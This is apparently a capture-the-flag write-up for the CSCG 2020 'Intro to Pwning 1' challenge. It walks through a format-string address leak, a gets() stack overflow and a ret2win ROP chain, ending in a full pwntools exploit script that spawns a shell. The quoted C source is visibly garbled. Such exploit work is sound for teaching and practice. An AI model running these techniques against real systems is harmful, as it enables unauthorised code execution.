CSCG 2020: Intro to Pwning 1 is given.

First we take a look at the source code.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>

// pwn1: gcc pwn1.c -o pwn1 -fno-stack-protector

// --------------------------------------------------- SETUP

void ignore_me_init_buffering() {
                     setvbuf(stdout, NULL, _IONBF, 0);
                     setvbuf(stdin, NULL, _IONBF, 0);
                     setvbuf(stderr, NULL, _IONBF, 0);

void kill_on_timeout(int sig) {
  if (sig == SIGALRM) {
                       printf("[!] Anti DoS Signal. Patch me out for testing.");

void ignore_me_init_signal() {
                     signal(SIGALRM, kill_on_timeout);

// --------------------------------------------------- MENU

void WINgardium_leviosa() {
    printf("│ You are a Slytherin.. │\n");

void welcome() {
    char read_buf[0xff];
    printf("Enter your witch name:\n");
    printf("│ You are a Hufflepuff! │\n");

void AAAAAAAA() {
    char read_buf[0xff];
    printf(" enter your magic spell:\n");
    if(strcmp(read_buf, "Expelliarmus") == 0) {
        printf("~ Protego!\n");
    } else {
        printf("-10 Points for Hufflepuff!\n");
// --------------------------------------------------- MAIN

void main(int argc, char* argv[]) {


WINgardium_leviosa is a win function, which gives us a shell. We can find two buffer overflows in welcome and AAAAAAAA because gets is used to read input into a buffer. If we look up the man page for gets we can find the following bugs section.

Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.

Furthermore, there is a "format string vulnerability", because untrusted user input is passed to the format spring parameter. Here, we can also find the bug in the man pages.

Code such as printf(foo); often indicates a bug, since foo may contain a % character. If foo comes from untrusted user input, it may contain %n, causing the printf() call to write to memory and creating a security hole.

So let us take a look at the binary. First, we check the binary with checksec.

Arch:     amd64-64-little
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

We will use a buffer overflow to overwrite the return pointer with the win function. Because we have PIE enabled, we do not know the actual address of the win function. We will leak a binary address using the format string vulnerability and then calculate the address of the win function.

Leak the binary

Providing %p to the name input, we can leak addresses of the stack because the input is passed to the printf function. To get an address in the binary we just leak multiple pointers, until we get one in the binary. To check where the binary is located we use vmmap.

Start              End                Offset             Perm Path
0x0000565168108000 0x0000565168109000 0x0000000000000000 r-x /home/simon/git/CTF/CSCG_2020/pwn/pwn1/pwn1
0x0000565168309000 0x000056516830a000 0x0000000000001000 r-- /home/simon/git/CTF/CSCG_2020/pwn/pwn1/pwn1
0x000056516830a000 0x000056516830b000 0x0000000000002000 rw- /home/simon/git/CTF/CSCG_2020/pwn/pwn1/pwn1
0x00007feac337f000 0x00007feac33a4000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/
0x00007feac33a4000 0x00007feac351c000 0x0000000000025000 r-x /lib/x86_64-linux-gnu/
0x00007feac351c000 0x00007feac3566000 0x000000000019d000 r-- /lib/x86_64-linux-gnu/
0x00007feac3566000 0x00007feac3569000 0x00000000001e6000 r-- /lib/x86_64-linux-gnu/
0x00007feac3569000 0x00007feac356c000 0x00000000001e9000 rw- /lib/x86_64-linux-gnu/
0x00007feac356c000 0x00007feac3572000 0x0000000000000000 rw- 
0x00007feac35aa000 0x00007feac35ab000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/
0x00007feac35ab000 0x00007feac35cd000 0x0000000000001000 r-x /lib/x86_64-linux-gnu/
0x00007feac35cd000 0x00007feac35d5000 0x0000000000023000 r-- /lib/x86_64-linux-gnu/
0x00007feac35d6000 0x00007feac35d7000 0x000000000002b000 r-- /lib/x86_64-linux-gnu/
0x00007feac35d7000 0x00007feac35d8000 0x000000000002c000 rw- /lib/x86_64-linux-gnu/
0x00007feac35d8000 0x00007feac35d9000 0x0000000000000000 rw- 
0x00007ffedfaaa000 0x00007ffedfacc000 0x0000000000000000 rw- [stack]
0x00007ffedfb48000 0x00007ffedfb4b000 0x0000000000000000 r-- [vvar]
0x00007ffedfb4b000 0x00007ffedfb4c000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]

This time the binary is between 0x0000565168108000 and 0x000056516830b000. After playing around with some input, you can find that you will get a binary address with the python input '%p.'*37 at the last leak.


The leak address points to ignore_me_init_signal+31. With objdump --syms pwn1 we can find out the offset of the leak. If we subtract this from the leaked value, we get the base address.

pwn1:     Dateiformat elf64-x86-64

0000000000000238 l    d  .interp            0000000000000000              .interp
0000000000000254 l    d  .note.ABI-tag      0000000000000000              .note.ABI-tag
0000000000000274 l    d 0000000000000000    


0000000000000bb0 g     O .rodata            0000000000000004              _IO_stdin_used
0000000000000000       F *UND*              0000000000000000              gets@@GLIBC_2.2.5
00000000000009ec g     F .text              0000000000000037              WINgardium_leviosa
0000000000000b30 g     F .text              0000000000000065              __libc_csu_init
0000000000202050 g       .bss               0000000000000000              _end
0000000000000830 g     F .text              000000000000002b              _start
0000000000202010 g       .bss               0000000000000000              __bss_start
0000000000000af4 g     F .text              000000000000003a              main
0000000000000000       F *UND*              0000000000000000              setvbuf@@GLIBC_2.2.5
00000000000009ca g     F .text              0000000000000022              ignore_me_init_signal
0000000000202010 g     O .data              0000000000000000              .hidden __TMC_END__
0000000000000000  w      *UND*              0000000000000000              _ITM_registerTMCloneTable
0000000000000000  w    F *UND*              0000000000000000              __cxa_finalize@@GLIBC_2.2.5
0000000000000768 g     F .init              0000000000000000              _init
0000000000202040 g     O .bss               0000000000000008              stderr@@GLIBC_2.2.5

The function ignore_me_init_signal is at 0x9ca, so our leak ignore_me_init_signal+31 is at offset 0x9ca +31 = 0x9e9.

ROP Chain

The buffer size is 256 bytes, so to overwrite the return address we will need 256 + 8 bytes padding. If we look at the code again, we see, that we have to start our input with Expelliarmus\x00 in order to avoid the exit function. This already fills the buffer, so these bytes have to be subtracted. If we use the calculated padding we are now able to overwrite the return address. We can use pwntools to calculate the address of the win function. Therefore, we have to set the base address of the win function as calculated above. Pwntools can find the address of the win function WINgardium_leviosa. We could also calculate the offset using the objdump output above, but we will use pwntools here. To align the stack, a ret instruction has to be inserted before the win function call. The gadgets for the chain can be found using pwntools or manually using ROPgadget.


from pwn import *
context.arch = 'amd64'
context.bits = 64

chal = './pwn1'

p = remote('',9100)
e = ELF(chal)

# leak binary with name
p.sendlineafter('Enter your witch name:\n',  '%p.'*37)
leak = p.recvuntil('enter your magic spell:\n').split(b'.')[-2]'leaked: %s' % leak)

# calculate binary address
binary_base = int(leak, 16) - 0x9e9'binary base: %s' % hex(binary_base))

# update binary address
e.address = binary_base

# build rop chain
rop = ROP(e)
rop.raw(rop.find_gadget(['ret'])) # align stack

exp = b'Expelliarmus\x00'
p.sendline(exp + b'A'*(256-len(exp)) + b'deadbeef' + rop.chain())


This gives us a shell and the flag CSCG{NOW_PRACTICE_MORE}.

The writeup for part 2 can be found here.